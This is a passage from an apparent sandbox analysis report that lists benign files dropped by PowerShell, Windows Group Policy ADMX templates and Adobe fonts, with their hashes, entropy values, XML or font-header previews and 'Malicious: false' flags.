SSDEEP:	96:QeD/mDV7LovKnKf5C7PdMchINyLV9hGxNL72NOK7abN17wNbNLTl3ywChsQ1XpnJ:vYh62qmvo/oimnCyQ7pPExQ
MD5:	CB4F11A08FBCC2EE9A0AB1AB97B0FEEC
SHA1:	BA706F13EDC145FD7D41171A004CF9E689DFA157
SHA-256:	5C80393260F7F377015E9EF675DFB0F77EAC6BC5D7E2F2F1757D2A100B741CDC
SHA-512:	AC383989BA234B4CC08DEE0FCC02597E1A4D275E855D922A94CA48A7F9EB4E87CD49644C07C57E0DAB3BC4CFEE5690601B59125E675A82654D7FB53A09A3E33C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="ime" namespace="Microsoft.Policies.IME" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="L_IME" displayName="$(string.L_IME)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="L_TurnOnMisconversionLoggingForMisconversionReport" class="User" displayName="$(string.L_TurnOnMisconversionLoggingForMisconversionReport)" explainText="$(string.L_TurnOnMisconversionLoggingForMisconversionReportExplain)" key="software\policies\microsoft\ime\sha

C:\Users\user\AppData\Local\Temp\file\Resource\EarlyLaunchAM.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with very long lines (304), with CRLF line terminators
Category:	dropped
Size (bytes):	1881
Entropy (8bit):	4.912957497971267
Encrypted:	false
SSDEEP:	24:g1Ktca0s6fE3+dK9lKsOpKjcpMDJVGnCGj6owzCGNSJu/0MN3:QIofHKnKs25eDbuCu6owzCX03
MD5:	E6C31F2356A76ADBB97A811675510CE9
SHA1:	9FF66DCD957443DF008895B60520EB5C1993EE5B
SHA-256:	70CDA38C29828A70A83329D193290DB5DF3F916C463CA266DEEEE49B80E76CE5
SHA-512:	55918C7DC5E493D0573B1FD0F579E9170FFECA9E669C928F69F7612CCC6DAF2561AB0C8A813CFC4FBC0CEA0C751573AEA902B862A2A9E327F141B30C0855DF02
Malicious:	false
Preview:	<policyDefinitions revision="1.0" schemaVersion="1.0">.. <policyNamespaces>.. <target prefix="fullarmor" namespace="FullArmor.Policies.0EF0F32B_7305_4FC7_BBEB_D43DCC622C81" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="ELAMCategory" displayName="$(string.ELAMCategory)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="POL_DriverLoadPolicy_Name" class="Machine" displayName="$(string.POL_DriverLoadPolicy_Name)" explainText="$(string.POL_DriverLoadPolicy_Name_Help)" presentation="$(presentation.POL_DriverLoadPolicy_Name)" key="System\CurrentControlSet\Policies\EarlyLaunch" valueName="DriverLoadPolicy">.. <parentCategory ref="ELAMCategory" />.. <supportedOn ref="windows:SUPPORTED_Windows8" /> .. <elements>.. <enum id="SelectDriverLoadPolicy" key="System\CurrentContro

C:\Users\user\AppData\Local\Temp\file\Resource\EdgeUI.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	3751
Entropy (8bit):	5.148892976096571
Encrypted:	false
SSDEEP:	96:QeD/mDjPovKnKN5fJtdMJTdtDJ0dsPJpdFJ8dGoCfJ2ES:vYb0TgRtRvZ+
MD5:	7299F33E3FDB759ED8FA74CBA1BC913F
SHA1:	1C2B4530E470C88A9A17B98F73A260B5E1A69EF0
SHA-256:	3F8BE4FAAD953867B5F67D1C9F95349049AC50A647567AF2A5508758B9D8A8E4
SHA-512:	98C4FB2F9C74F1D624A2443CB4CBEED90B426FB1557D859BA0DED1AEBF7B81D7441FAAED24E3CEF781A343C6879326351CCDA6DEF6CB6E04CF1D573186B49C5C
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="edgeui" namespace="Microsoft.Policies.EdgeUI" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="EdgeUI" displayName="$(string.EdgeUI)" explainText="$(string.EdgeUI_Help)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="TurnOffBackstack" class="User" displayName="$(string.TurnOffBackstack)" explainText="$(string.TurnOffBackstack_Help)" key="Software\Policies\Microsoft\Windows\EdgeUI" valueName="TurnOffBackstack">.. <parentCategor

C:\Users\user\AppData\Local\Temp\file\Resource\EncryptFilesonMove.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.2419997377636065
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtC6flai0s6fE3+ZKjcpkJ4gyJMJJqwV18uJOC9Q:3geDw08gmDoflaiofT5+J4gyJMJJTIuS
MD5:	31942EAEF2EFDEA2A276A86CC6882C6A
SHA1:	D9ADA8DEA0D272B3EE51A10E67A98C1D2ED00159
SHA-256:	C51B598CB8EAC30D15351E35DF70A9EDB42A0948AE4A19D304C1C8C19B402C94
SHA-512:	9C9EF0778722C54314FE958AF39681444C147005414A24A99F26589F19F427FA51A38BCA39AE2C3B2B088915A14D5687061C10298F03351190B18B032247E144
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="encryptfilesonmove" namespace="Microsoft.Policies.EncrypedFiles" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="NoEncryptOnMove" class="Machine" displayName="$(string.NoEncryptOnMove)" explainText="$(string.NoEncryptOnMove_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="NoEncryptOnMove">.. <parentCategory ref="windows:System" />.. <supportedOn ref="windows:SUPPORTED_Win2k" />.. </policy>.. </policies>..</policyDefinitions>..

C:\Users\user\AppData\Local\Temp\file\Resource\ErrorReporting.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	26372
Entropy (8bit):	5.01226415631576
Encrypted:	false
SSDEEP:	768:+vb9Noh3fDMGMO3d0OqLO0RKxTbUKHUKP+F+OU4bU4C:+vb9NotfDMGMO3yO+O0RiTbUKHUKP+Fk
MD5:	6F7FECC9C2B18D1179C12936BDBA43CD
SHA1:	32D51F128D17F0BAAFE4356D2FDAABE6AFAB1DA5
SHA-256:	24C0CA3EA4CAD62A89EAF2F68797D2E4581338F9833511D6649734549BCAC591
SHA-512:	A39E60114E66D1EB5032A2E93AB55E13DA27F37383206252B047D1536498CCBAB7679E005AF9CE5CB36BB85257293EC4741E751624EE664E8235BB7D5CBD7A3B
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="wer" namespace="Microsoft.Policies.WindowsErrorReporting" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="CAT_WindowsErrorReporting" displayName="$(string.CAT_WindowsErrorReporting)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="CAT_WindowsErrorReportingAdvanced" displayName="$(string.CAT_WindowsErrorReportingAdvanced)">.. <parentCategory ref="CAT_WindowsErrorReporting" />.. </category>.. <category name="CAT_WindowsErrorReportingConsent" displayNa

C:\Users\user\AppData\Local\Temp\file\Resource\EventForwarding.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1996
Entropy (8bit):	5.09486916247217
Encrypted:	false
SSDEEP:	48:z08gmVmLfBofc4ID+NbEfuQWwxY9RsuQBwZa1FG:SmVQZoU4IgEfGwxY96RwZa1FG
MD5:	EF4AD318EA464CDE69829A9201D7D526
SHA1:	A3B7CC6EBB70C45CD752121D0AFA30A35B72C9D3
SHA-256:	8E3854B06F7DFEF7C0E68E1258F1D33A4B888A97F075A5D25757FA987ACB5704
SHA-512:	0ABCA7FA5C44572841FAB002F19D05756F5566B8E3CE6D172662A37AE7053D9D0838639E2EC5843EC8D5C9C05205DC6DD150EB4F91ECEBEFEF6AFEFB370D869B
Malicious:	false
Preview:	<?xml version="1.0"?>..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.... <policyNamespaces>.. <target prefix="eventforwarding" namespace="Microsoft.Policies.EventForwarding" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.....<supersededAdm fileName="EventForwarding.adm"/>.....<resources minRequiredRevision="1.0"/>.....<categories>....<category name="EventForwarding" displayName="$(string.EventForwarding)">.....<parentCategory ref="windows:WindowsComponents"/>....</category>...</categories>.....<policies>....<policy name="SubscriptionManager" class="Machine" displayName="$(string.SubscriptionManager)" explainText="$(string.Subscription_Help)" presentation="$(presentation.SubscriptionManager)" key="Software\Policies\Mic

C:\Users\user\AppData\Local\Temp\file\Resource\EventLog.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (301), with CRLF line terminators
Category:	dropped
Size (bytes):	12429
Entropy (8bit):	5.163642642864443
Encrypted:	false
SSDEEP:	384:n+JbARudj12KoAHMQKJm8ARuAjf2Z8oAQ8M5qsARuLja2rxoAJMQ3iNCARuGjE2G:8g8DH938gc8DQ8KrgYDJ95gJDD9C
MD5:	5FEA05DAF55C86EF5747510D7AFE9BC4
SHA1:	976E7DFED51585CA2243C1CA73E0C7FB164F43D5
SHA-256:	3C2C96E46BEAB1D525E31D9994E1EA20FF7793495506A934A9FEAA285086EBAD
SHA-512:	7413DE53C1853142AD965BDDFAB5C902C006C8FC20B5C59D8BA30710E1E512E53EF7A9434F8CCB455EB4010889077817D8BD06FA6C479BC8D75B37EB77F2BCD5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="eventlog" namespace="Microsoft.Policies.EventLogs" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="EventLogCategory" displayName="$(string.EventLogCategory)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. <category name="EventLog_Application" displayName="$(string.EventLog_Application)" explainText="$(string.ChannelName_Help)">.. <parentCategory ref="EventLogCategory" />.. </category>.. <category name="EventLog_Security" displayName="$(string.EventLog_Security)" e

C:\Users\user\AppData\Local\Temp\file\Resource\EventViewer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (373), with CRLF line terminators
Category:	dropped
Size (bytes):	2528
Entropy (8bit):	5.074435249870681
Encrypted:	false
SSDEEP:	48:3geDw08gmDufWofHKnKOQ5t8uGNPjwUj+E1uprNPjw7j+I1yIANPjwZj+oC:QeD/mDuOovKnKn5WuGtwUqE1Ctw7qI1O
MD5:	CC37E29F7F6537A88C0CB06178277445
SHA1:	CDE4C2C8483576D1BCD673057FA6E854114BD476
SHA-256:	FC5CDD5A4C527F56D1C829CF18AB2B27BAFC0667B31562F8F4C9C50BE16329B8
SHA-512:	C6A437ED94B09EDD268966C334FF152A6C1D4291F84CB585A360D95B6FAFC41E71A75E83EC01310BA0C607031ED49BFA8D994D6E2B9D098293B0B589549B6AB5
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="eventviewer" namespace="Microsoft.Policies.EventViewer" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="EventViewer" displayName="$(string.EventViewer)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="EventViewer_RedirectionProgram" class="Machine" displayName="$(string.EventViewer_RedirectionProgram)" explainText="$(string.EventViewer_RedirectionProgram_Help)" presentation="$(presentation.EventViewer_RedirectionProgram)" key="Soft

C:\Users\user\AppData\Local\Temp\file\Resource\Explorer.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (315), with CRLF line terminators
Category:	dropped
Size (bytes):	4373
Entropy (8bit):	5.116542527254406
Encrypted:	false
SSDEEP:	96:QeD/mDZJOo75ZImdUIbd8LVjQIMRdnpNl3OdLXV7lQdPSFqRWIw8d/+1Dl3q:vYZsQUMAjgpr3uXVZCSFqRQ8d/+36
MD5:	56A447CE75CDCA4027B39A56886733E5
SHA1:	CFF97EAC5098839FD0235318B1FE3514E7D63DC4
SHA-256:	A6E081B98BFA5DCDB3D68B90ADE9260C97F8A4394FEC8D73C92A6B0922C65061
SHA-512:	CEAA89E361E4FBFC7443D32B25B7981A49C0AF572EBD7A800C5D3C9FFDF840059E6480F3A2FFF7B962DBF4BA400470CAF16764D50236F72D53CE2517877803EB
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="explorer" namespace="Microsoft.Policies.WindowsExplorer2" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <policies>.. <policy name="AlwaysShowClassicMenu" class="User" displayName="$(string.AlwaysShowClassicMenu)" explainText="$(string.AlwaysShowClassicMenu_Help)" key="Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" valueName="AlwaysShowClassicMenu">.. <parentCategory ref="windows:WindowsExplorer" />.. <supportedOn ref="windows:SUPPORTED_WindowsVista" />.. <enabledValue>.. <decimal value="1" />.. <

C:\Users\user\AppData\Local\Temp\file\Resource\ExternalBoot.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (355), with CRLF line terminators
Category:	dropped
Size (bytes):	2651
Entropy (8bit):	5.201538203225415
Encrypted:	false
SSDEEP:	48:cgeDw08gmDkCfrVofHKnKO3PQ5004UFH3EqgXGd0d540F53EsgXGd0M4rF3k3EZe:LeD/mDkCzVovKnKO34501KH3EnWd0cqP
MD5:	ADA14C9E12EBB088628C86ADA31184E6
SHA1:	A2578366538E3DE9EA2C047372217A3FF3FF25FB
SHA-256:	4BD2D8E664271482ADFDB53411298577D2BB7C5CF18A6FFF30FD8F40ABB17FF4
SHA-512:	147A0D77B2C8E66A97D22E62D15248FC93C0A82D8529628A9612C7AAC7DC48CCB3CA8FDA317CCC0372E0C9001E8CDF8FA8D12E47D84412DF3DDEE0B1BEBBD93F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="portableoperatingsystem" namespace="Microsoft.Policies.PortableOperatingSystem" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="PortableOperatingSystem" displayName="$(string.PortableOperatingSystem)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="PortableOperatingSystem_Launcher" clientExtension="{BA649533-0AAC-4E04-B9BC-4DBAE0325B12}" class="Machine" displayName="$(string.PortableOperatingSystem_Launcher_DisplayName)" explainText="

C:\Users\user\AppData\Local\Temp\file\Resource\FileHistory.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1287
Entropy (8bit):	5.139416965571643
Encrypted:	false
SSDEEP:	24:JdgeDwjo8gWt4+3FpKtC6fW0s6fE3+dK9lKE4cpKjcp+19T1VWOfuF+2hJJo:3geDw08gmDOfWofHKnKbQ5g19T1kOfGq
MD5:	9194C309EE2F838C0CA19B46A964011F
SHA1:	E182317BF930CF8A55EC91D6AFA59650C81A487B
SHA-256:	8B5A944BD52F41EFB3852894FF8CEF9EE914C336F7BF1EE30E150C013FAE423F
SHA-512:	263878DAE10653365A8885EF8407471FF57546FB0BA1731A804E0BCF6EE2CA32BCD992288EED9BE9A16E14EE889851519CC3A77A571BBA8DF8C71290E3CE656D
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="FileHistory" namespace="Microsoft.Policies.FileHistory" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="FileHistory" displayName="$(string.FileHistoryName)">.. <parentCategory ref="windows:WindowsComponents" />.. </category>.. </categories>.. <policies>.. <policy name="DisableFileHistory" class="Machine" displayName="$(string.DisableFileHistory)" explainText="$(string.DisableFileHistory_explanation)" key="Software\Policies\Microsoft\Windows\FileHistory" valueName="Disabled">.. <parentCatego

C:\Users\user\AppData\Local\Temp\file\Resource\FileRecovery.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with very long lines (351), with CRLF line terminators
Category:	dropped
Size (bytes):	2141
Entropy (8bit):	5.018555759959519
Encrypted:	false
SSDEEP:	48:3geDw08gmDRftofHKnKa55+u44qhhGwv4sOC:QeD/mDRVovKnK25P44oGwvKC
MD5:	5D8BF7A08648C2FEF2FB9F64D38E00E4
SHA1:	B8C7AA621256AC265B6DECA6426FECA639D86676
SHA-256:	F0746A64341606DCFFF61C65E4DF6FBA38431F2804977CCA57A049C72DAC51FC
SHA-512:	B00EEFFB4A2B42C569202F9510D22712CF2DA678264858E26227CC45A81893C643FB470FD5C23E8822489BEB5E2A86E4A260C0EC1478DCA37BFCF6FB6D6C2130
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="filerecovery" namespace="Microsoft.Policies.FileRecovery" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>.. <category name="WdiScenarioCategory" displayName="$(string.WdiScenarioCategory)">.. <parentCategory ref="windows:Troubleshooting" />.. </category>.. </categories>.. <policies>.. <policy name="WdiScenarioExecutionPolicy" class="Machine" displayName="$(string.WdiScenarioExecutionPolicy)" explainText="$(string.WdiScenarioExecutionPolicyExplain)" presentation="$(presentation.WdiScenarioExecutionPolicy)" key="SO

C:\Users\user\AppData\Local\Temp\file\Resource\FileRevocation.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1803
Entropy (8bit):	4.956126358484627
Encrypted:	false
SSDEEP:	48:RDrX884MfLfulcMeUKnKVHR/5bcMgzte+fFwJBJ3:RDrz4MzGTKnKVx/5gMgzte0wJBJ3
MD5:	5B635E854B42397C1A31978B0AA68DC6
SHA1:	AC6D0C2F261CBF50A5B26FEB85EA476237291CCE
SHA-256:	59BB7CE0E047B1ABF9D5781D90C78672C616FD607BBA129E9409808E1C9C0F00
SHA-512:	020648E09520AAE38ED8E05960324297C872629F9E1D50595B8061D6E9569D37853D281224A9FF42EE081F17C34F29B0FAE69EA90FC6887414CBE33D16B7B305
Malicious:	false
Preview:	.<?xml version='1.0' encoding='utf-8' standalone='yes'?>.... (c) Microsoft Corporation --><policyDefinitions.. xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions".. xmlns:xsd="http://www.w3.org/2001/XMLSchema".. xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.0".. schemaVersion="1.0".. >.. Namespace definition for file revocation.-->.. <policyNamespaces>.. <target.. namespace="Microsoft.Policies.FileRevocation".. prefix="filerevocation".. />.. <using.. namespace="Microsoft.Policies.Windows".. prefix="windows".. />.. </policyNamespaces>.. Specify minimum revision level of corresponding ADML file -->.. <resources minRequiredRevision="1.0"/>.. Specify a FileRevocation Catagory for these settings -->.. <categories>.. <category.. displayName="$(string.FileRevocationCategory)".. name="FileRevocationCategory".. >.. <parentCateg

C:\Users\user\AppData\Local\Temp\file\Resource\FileServerVSSProvider.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	1443
Entropy (8bit):	5.139296766438305
Encrypted:	false
SSDEEP:	24:JdgeDwjo82t4+3FpKt+G6f3EVS0s6fEYs6f5X+vK9lKBZEP5ZEPxCOpKjcpEouGN:3geDw08GDpLfYSofbf8KnKBO5OE25NrN
MD5:	58EA89236262B1F44B846D0D20561E78
SHA1:	3B5AFFA9DB159DF18F00BA99767078A70F996AF0
SHA-256:	F68917EF2598AF9596F27B56A9D090A04FC4F7BC8D61568AC35ABA9F4674E45E
SHA-512:	ED102F45253E38433BEBF1E16C88EFF0EB1276324DB6B4E33944C1355A83EB38145177754D17ABBDCEBF628BC47653F363910441E56E16E34A268B53FCE6711E
Malicious:	false
Preview:	.<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance".. revision="1.2" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="Provider" namespace="Microsoft.Policies.FileShareShadowCopy.Provider" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. <using prefix="products" namespace="Microsoft.Policies.Products" /> .. </policyNamespaces>.. <resources minRequiredRevision="1.2" />.. <categories>.. <category name="Cat_FileShareShadowCopyProvider" displayName="$(string.Cat_FileShareShadowCopyProvider)">.. <parentCategory ref="windows:System" />.. </category>.. </categories>.. <policies>.. <policy name="Pol_EncryptProtocol" class="Machine" displayName="$(string.Pol_EncryptProtocol)" explainText="$(s

C:\Users\user\AppData\Local\Temp\file\Resource\FileSys.admx

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF, CR line terminators
Category:	dropped
Size (bytes):	6779
Entropy (8bit):	4.784030430716553
Encrypted:	false
SSDEEP:	192:sYl9Bi4JFLHTSRPTsOyA0VXAQsMAy5PVzRMS6l0TE:ztJFLHTSRPTsOylXgMf9zRMV2E
MD5:	499E7751B019078A8A997D67E8805686
SHA1:	8D3BC566A990569DCD87A4862F4EA74B5A8D7696
SHA-256:	BC713BC684B0BDDA9342DA9FA7E36CAF7F328F32915144C6ECA49B674917DF88
SHA-512:	0CCB75C55EEDDFAAAF658087904BFCA12C520D542789527E1248785EAD66BF9F3DE8478B2661814F549C6EC0BF8EBAEFA1EC250199B1A6E3CCF95F6F60637D12
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitions xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <policyNamespaces>.. <target prefix="filesys" namespace="Microsoft.Policies.FileSys" />.. <using prefix="windows" namespace="Microsoft.Policies.Windows" />.. </policyNamespaces>.. <resources minRequiredRevision="1.0" />.. <categories>... <category name="Filesystem" displayName="$(string.Filesystem)">.. <parentCategory ref="windows:System"/>.. </category>.. <category name="NTFS" displayName="$(string.NTFS)">.. <parentCategory ref="Filesystem" />.. </category>.. </categories>.. <policies>.. <policy name="SymlinkEvaluation" class="Machine" displayName="$(string.SymlinkEvaluation)" explainText="$(string.SymlinkEvalExplain)" presentation="$(prese

C:\Users\user\AppData\Local\Temp\file\Resource\Font\AdobePIStd.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	85552
Entropy (8bit):	7.398236775028891
Encrypted:	false
SSDEEP:	1536:PmsMC/asb+Q+fGZNbDvdtlT9Mnlx643McbQqc80U0zy26RR38e8kscXqHZ3MD4ea:BMjlINbrdFMnP6hcbQq8Bn6IPksF8E
MD5:	8653BFE4C32A8528E981748E28C59570
SHA1:	DEC8DD8CBA986F5852286C8B8E45C6270AEAB65A
SHA-256:	5DBC496C0B5A12D9F9FFDB83A46B9FCDA8D1FC1FCD50832C783BE5E9277A698E
SHA-512:	66E39798CA8BBA9AF51F44E81B77AC1703F488B6361BFB05DE632FBB2726E5F1291F0210BE0FC933459BEA78FA433177B33E34BE977C079C97C5330D6590E7FB
Malicious:	false
Preview:	OTTO.......PBASE.>....<\...:CFF B.n....`../.DSIG......N(....GPOSR.[...<....fGSUB..5...=....ZOS/2..7....@...`cmapC......x....head..{.......6hhea...D.......$hmtxU.7{..H\....maxp.sP....8....namex..R........post...2...@... .......\a&._.<..................x....<...:...............................................s..P..s...............X...K...X...^.2.,............................ADBE... .........:................. .................7.............7...........C...........J...........7.........:.e...................................)...........E.........$._.........n...................................6.............M.........t.a...........M.....................4...........8...........4.A.........H.u. 2002 Adobe Systems Incorporated. All rights reserved.Adobe Pi StdRegular1.060;ADBE;AdobePiStd;ADOBEVersion 1.060;PS 1.010;hotconv 1.0.67;makeotf.lib2.5.33168AdobePiStdAdobe is either a registered trademark or a trademark of Adobe Systems Incorporated in the United States and/or other countries.Adobe

C:\Users\user\AppData\Local\Temp\file\Resource\Font\CourierStd-Bold.otf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	OpenType font data
Category:	dropped
Size (bytes):	30488
Entropy (8bit):	7.252217241313242
Encrypted:	false
SSDEEP:	768:UYJufmmvVJkJ7pFIJRUQXzUKOXBdbOIYvQXGPgfJVXhU:UYJu+mvPg9eYCzUKOXBdqIWQX4gfVU
MD5:	404952EC4D0AE00DD2F58FB980A99326
